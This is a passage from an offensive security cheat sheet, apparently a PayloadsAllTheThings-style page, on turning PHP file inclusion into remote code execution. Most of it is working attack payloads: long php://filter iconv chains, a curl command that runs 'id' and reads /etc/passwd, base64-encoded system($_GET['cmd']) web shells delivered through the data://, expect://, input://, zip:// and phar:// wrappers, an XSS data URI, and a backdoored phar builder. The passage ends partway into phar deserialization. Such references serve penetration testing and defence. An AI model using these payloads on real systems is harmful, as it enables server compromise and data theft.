class="p">.</span><span class="n">NAPLPS</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">855</span><span class="p">.</span><span class="n">CP936</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">IBM</span><span class="p">-</span><span class="n">932</span><span class="p">.</span><span class="n">UTF</span><span class="p">-</span><span class="n">8</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">851</span><span class="p">.</span><span class="n">UTF</span><span class="p">-</span><span class="n">16</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">L1</span><span class="p">.</span><span class="n">T</span><span class="p">.</span><span class="n">618BIT</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">JS</span><span class="p">.</span><span class="n">UNICODE</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">L4</span><span class="p">.</span><span class="n">UCS2</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UCS</span><span class="p">-</span><span class="n">2</span><span class="p">.</span><span class="n">OSF00030010</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">CSIBM1008</span><span class="p">.</span><span class="n">UTF32BE</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">SE2</span><span class="p">.</span><span class="n">UTF</span><span class="p">-</span><span class="n">16</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">CSIBM921</span><span class="p">.</span><span class="n">NAPLPS</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">CP1163</span><span class="p">.</span><span class="n">CSA_T500</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UCS</span><span class="p">-</span><span class="n">2</span><span class="p">.</span><span class="n">MSCP949</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF16LE</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">CSISO2022KR</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF16</span><span class="p">.</span><span class="n">EUCTW</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">8859_3</span><span class="p">.</span><span class="n">UCS2</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">SE2</span><span class="p">.</span><span class="n">UTF</span><span class="p">-</span><span class="n">16</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">CSIBM1161</span><span class="p">.</span><span class="n">IBM</span><span class="p">-</span><span class="n">932</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">MS932</span><span class="p">.</span><span class="n">MS936</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">CP1046</span><span class="p">.</span><span class="n">UTF32</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">L6</span><span class="p">.</span><span class="n">UCS</span><span class="p">-</span><span class="n">2</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF</span><span class="p">-</span><span class="n">16LE</span><span class="p">.</span><span class="n">T</span><span class="p">.</span><span class="n">61</span><span class="p">-</span><span class="n">8BIT</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">865</span><span class="p">.</span><span class="n">UCS</span><span class="p">-</span><span class="n">4LE</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">MAC</span><span class="p">.</span><span class="n">UTF16</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">L8</span><span class="p">.</span><span class="n">UTF16BE</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">CSGB2312</span><span class="p">.</span><span class="n">UTF</span><span class="p">-</span><span class="n">32</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">IBM</span><span class="p">-</span><span class="n">1161</span><span class="p">.</span><span class="n">IBM932</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">GB13000</span><span class="p">.</span><span class="n">UTF16BE</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">864</span><span class="p">.</span><span class="n">UTF</span><span class="p">-</span><span class="n">32LE</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">L6</span><span class="p">.</span><span class="n">UNICODE</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">CP1282</span><span class="p">.</span><span class="n">ISO-IR</span><span class="p">-</span><span class="n">90</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">L4</span><span class="p">.</span><span class="n">UTF32</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">CP1250</span><span class="p">.</span><span class="n">UCS</span><span class="p">-</span><span class="n">2</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">SE2</span><span class="p">.</span><span class="n">UTF</span><span class="p">-</span><span class="n">16</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">CSIBM921</span><span class="p">.</span><span class="n">NAPLPS</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">855</span><span class="p">.</span><span class="n">CP936</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">IBM</span><span class="p">-</span><span class="n">932</span><span class="p">.</span><span class="n">UTF</span><span class="p">-</span><span class="n">8</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">8859_3</span><span class="p">.</span><span class="n">UTF16</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">863</span><span class="p">.</span><span class="n">SHIFT_JISX0213</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">CP1046</span><span class="p">.</span><span class="n">UTF16</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">ISO6937</span><span class="p">.</span><span class="n">SHIFT_JISX0213</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">CP1046</span><span class="p">.</span><span class="n">UTF32</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">L6</span><span class="p">.</span><span class="n">UCS</span><span class="p">-</span><span class="n">2</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF</span><span class="p">-</span><span class="n">16LE</span><span class="p">.</span><span class="n">T</span><span class="p">.</span><span class="n">61</span><span class="p">-</span><span class="n">8BIT</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">865</span><span class="p">.</span><span class="n">UCS</span><span class="p">-</span><span class="n">4LE</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">MAC</span><span class="p">.</span><span class="n">UTF16</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">L8</span><span class="p">.</span><span class="n">UTF16BE</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">CSIBM1161</span><span class="p">.</span><span class="n">UNICODE</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">ISO-IR</span><span class="p">-</span><span class="n">156</span><span class="p">.</span><span class="n">JOHAB</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">INIS</span><span class="p">.</span><span class="n">UTF16</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">CSIBM1133</span><span class="p">.</span><span class="n">IBM943</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">IBM932</span><span class="p">.</span><span class="n">SHIFT_JISX0213</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">SE2</span><span class="p">.</span><span class="n">UTF</span><span class="p">-</span><span class="n">16</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">CSIBM1161</span><span class="p">.</span><span class="n">IBM</span><span class="p">-</span><span class="n">932</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">MS932</span><span class="p">.</span><span class="n">MS936</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">BIG5</span><span class="p">.</span><span class="n">JOHAB</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">/</span><span class="n">resource</span><span class="p">=</span><span class="n">php</span><span class="p">://</span><span class="n">temp</span>
</code></pre></div></p>
</li>
<li>
<p><a href="./LFI2RCE.py">LFI2RCE.py</a> to generate a custom payload.
<div class="highlight"><pre><span></span><code><a id="__codelineno-4-1" name="__codelineno-4-1" href="#__codelineno-4-1"></a><span class="c"># vulnerable file: index.php</span>
<a id="__codelineno-4-2" name="__codelineno-4-2" href="#__codelineno-4-2"></a><span class="c"># vulnerable parameter: file</span>
<a id="__codelineno-4-3" name="__codelineno-4-3" href="#__codelineno-4-3"></a><span class="c"># executed command: id</span>
<a id="__codelineno-4-4" name="__codelineno-4-4" href="#__codelineno-4-4"></a><span class="c"># executed PHP code: &lt;?=`$_GET[0]`;;?&gt;</span>
<a id="__codelineno-4-5" name="__codelineno-4-5" href="#__codelineno-4-5"></a><span class="nb">curl </span><span class="s2">&quot;127.0.0.1:8000/index.php?0=id&amp;file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd&quot;</span>
</code></pre></div></p>
</li>
</ul>
<h2 id="wrapper-data">Wrapper data://</h2>
<p>The payload encoded in base64 is "<code>&lt;?php system($_GET['cmd']);echo 'Shell done !'; ?&gt;</code>".</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-5-1" name="__codelineno-5-1" href="#__codelineno-5-1"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">net</span><span class="p">/</span><span class="k">?</span><span class="n">page</span><span class="p">=</span><span class="n">data</span><span class="p">://</span><span class="n">text</span><span class="p">/</span><span class="n">plain</span><span class="p">;</span><span class="n">base64</span><span class="p">,</span><span class="n">PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4</span><span class="p">=</span>
</code></pre></div>
<p>Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : <code>http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+</code></p>
<h2 id="wrapper-expect">Wrapper expect://</h2>
<p>When used in PHP or a similar application, it may allow an attacker to specify commands to execute in the system's shell, as the <code>expect://</code> wrapper can invoke shell commands as part of its input.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-6-1" name="__codelineno-6-1" href="#__codelineno-6-1"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=</span><span class="n">expect</span><span class="p">://</span><span class="n">id</span>
<a id="__codelineno-6-2" name="__codelineno-6-2" href="#__codelineno-6-2"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=</span><span class="n">expect</span><span class="p">://</span><span class="nb">ls</span>
</code></pre></div>
<h2 id="wrapper-input">Wrapper input://</h2>
<p>Specify your payload in the POST parameters, this can be done with a simple <code>curl</code> command.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-7-1" name="__codelineno-7-1" href="#__codelineno-7-1"></a><span class="nb">curl </span><span class="n">-X</span> <span class="n">POST</span> <span class="p">-</span><span class="n">-data</span> <span class="s2">&quot;&lt;?php echo shell_exec(&#39;id&#39;); ?&gt;&quot;</span> <span class="s2">&quot;https://example.com/index.php?page=php://input%00&quot;</span> <span class="n">-k</span> <span class="n">-v</span>
</code></pre></div>
<p>Alternatively, Kadimus has a module to automate this attack.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-8-1" name="__codelineno-8-1" href="#__codelineno-8-1"></a><span class="p">./</span><span class="n">kadimus</span> <span class="n">-u</span> <span class="s2">&quot;https://example.com/index.php?page=php://input%00&quot;</span> <span class="n">-C</span> <span class="s1">&#39;&lt;?php echo shell_exec(&quot;id&quot;); ?&gt;&#39;</span> <span class="n">-T</span> <span class="n">input</span>
</code></pre></div>
<h2 id="wrapper-zip">Wrapper zip://</h2>
<ol>
<li>Create an evil payload: <code>echo "&lt;pre&gt;&lt;?php system($_GET['cmd']); ?&gt;&lt;/pre&gt;" &gt; payload.php;</code></li>
<li>Zip the file
<div class="highlight"><pre><span></span><code><a id="__codelineno-9-1" name="__codelineno-9-1" href="#__codelineno-9-1"></a><span class="nb">zip</span> <span class="n">payload</span><span class="o">.</span><span class="n">zip</span> <span class="n">payload</span><span class="o">.</span><span class="n">php</span><span class="p">;</span>
<a id="__codelineno-9-2" name="__codelineno-9-2" href="#__codelineno-9-2"></a><span class="n">mv</span> <span class="n">payload</span><span class="o">.</span><span class="n">zip</span> <span class="n">shell</span><span class="o">.</span><span class="n">jpg</span><span class="p">;</span>
<a id="__codelineno-9-3" name="__codelineno-9-3" href="#__codelineno-9-3"></a><span class="n">rm</span> <span class="n">payload</span><span class="o">.</span><span class="n">php</span>
</code></pre></div></li>
<li>Upload the archive and access the file using the wrappers: http://example.com/index.php?page=zip://shell.jpg%23payload.php</li>
</ol>
<h2 id="wrapper-phar">Wrapper phar://</h2>
<h3 id="phar-archive-structure">PHAR archive structure</h3>
<p>PHAR files work like ZIP files, when you can use the <code>phar://</code> to access files stored inside them.</p>
<ol>
<li>Create a phar archive containing a backdoor file: <code>php --define phar.readonly=0 archive.php</code></li>
</ol>
<div class="highlight"><pre><span></span><code><a id="__codelineno-10-1" name="__codelineno-10-1" href="#__codelineno-10-1"></a><span class="cp">&lt;?php</span>
<a id="__codelineno-10-2" name="__codelineno-10-2" href="#__codelineno-10-2"></a> <span class="nv">$phar</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Phar</span><span class="p">(</span><span class="s1">&#39;archive.phar&#39;</span><span class="p">);</span>
<a id="__codelineno-10-3" name="__codelineno-10-3" href="#__codelineno-10-3"></a> <span class="nv">$phar</span><span class="o">-&gt;</span><span class="na">startBuffering</span><span class="p">();</span>
<a id="__codelineno-10-4" name="__codelineno-10-4" href="#__codelineno-10-4"></a> <span class="nv">$phar</span><span class="o">-&gt;</span><span class="na">addFromString</span><span class="p">(</span><span class="s1">&#39;test.txt&#39;</span><span class="p">,</span> <span class="s1">&#39;&lt;?php phpinfo(); ?&gt;&#39;</span><span class="p">);</span>
<a id="__codelineno-10-5" name="__codelineno-10-5" href="#__codelineno-10-5"></a> <span class="nv">$phar</span><span class="o">-&gt;</span><span class="na">setStub</span><span class="p">(</span><span class="s1">&#39;&lt;?php __HALT_COMPILER(); ?&gt;&#39;</span><span class="p">);</span>
<a id="__codelineno-10-6" name="__codelineno-10-6" href="#__codelineno-10-6"></a> <span class="nv">$phar</span><span class="o">-&gt;</span><span class="na">stopBuffering</span><span class="p">();</span>
<a id="__codelineno-10-7" name="__codelineno-10-7" href="#__codelineno-10-7"></a><span class="cp">?&gt;</span>
</code></pre></div>
<ol>
<li>Use the <code>phar://</code> wrapper: <code>curl http://127.0.0.1:8001/?page=phar:///var/www/html/archive.phar/test.txt</code></li>
</ol>
<h3 id="phar-deserialization">PHAR deserialization</h3>
<p><img alt="⚠" class="twemoji" src="https://cdn.jsdelivr.net/gh/jdecked/twemoji@15.1.0/assets/svg/26a0.svg" title=":warning:" /> This technique doesn't work on PHP 8+, the deserialization has been removed. </p>
<p>If a file operation is now performed on our existing phar file via the <code>phar://</code> wrapper, then its serialized meta data is unserialized. This vulnerability occurs in the following functions, including file_exists: <code>include</code>, <code>file_get_contents</code>, <code>file_put_contents</code>, <code>copy</code>, <code>file_exists</code>, <code>is_executable</code>, <code>is_file</code>, <code>is_dir</code>, <code>is_link</code>, <code>is_writable</code>, <code>fileperms</code>, <code>fileinode</code>, <code>filesize</code>, <code>fileowner</code>, <code>filegroup</code>, <code>fileatime</code>, <code>filemtime</code>, <code>filectime</code>, <code>filetype</code>, <code>getimagesize</code>, <code>exif_read_data</code>, <code>stat</code>, <code>lstat</code>, <code>touch</code>, <code>md5_file</code>, etc.</p>
<p>This exploit requires at least one class with magic methods such as <code>__destruct()</code> or <code>__wakeup()</code>.
Let's take this <code>AnyClass</code> class as example, which execute the parameter data.</p>
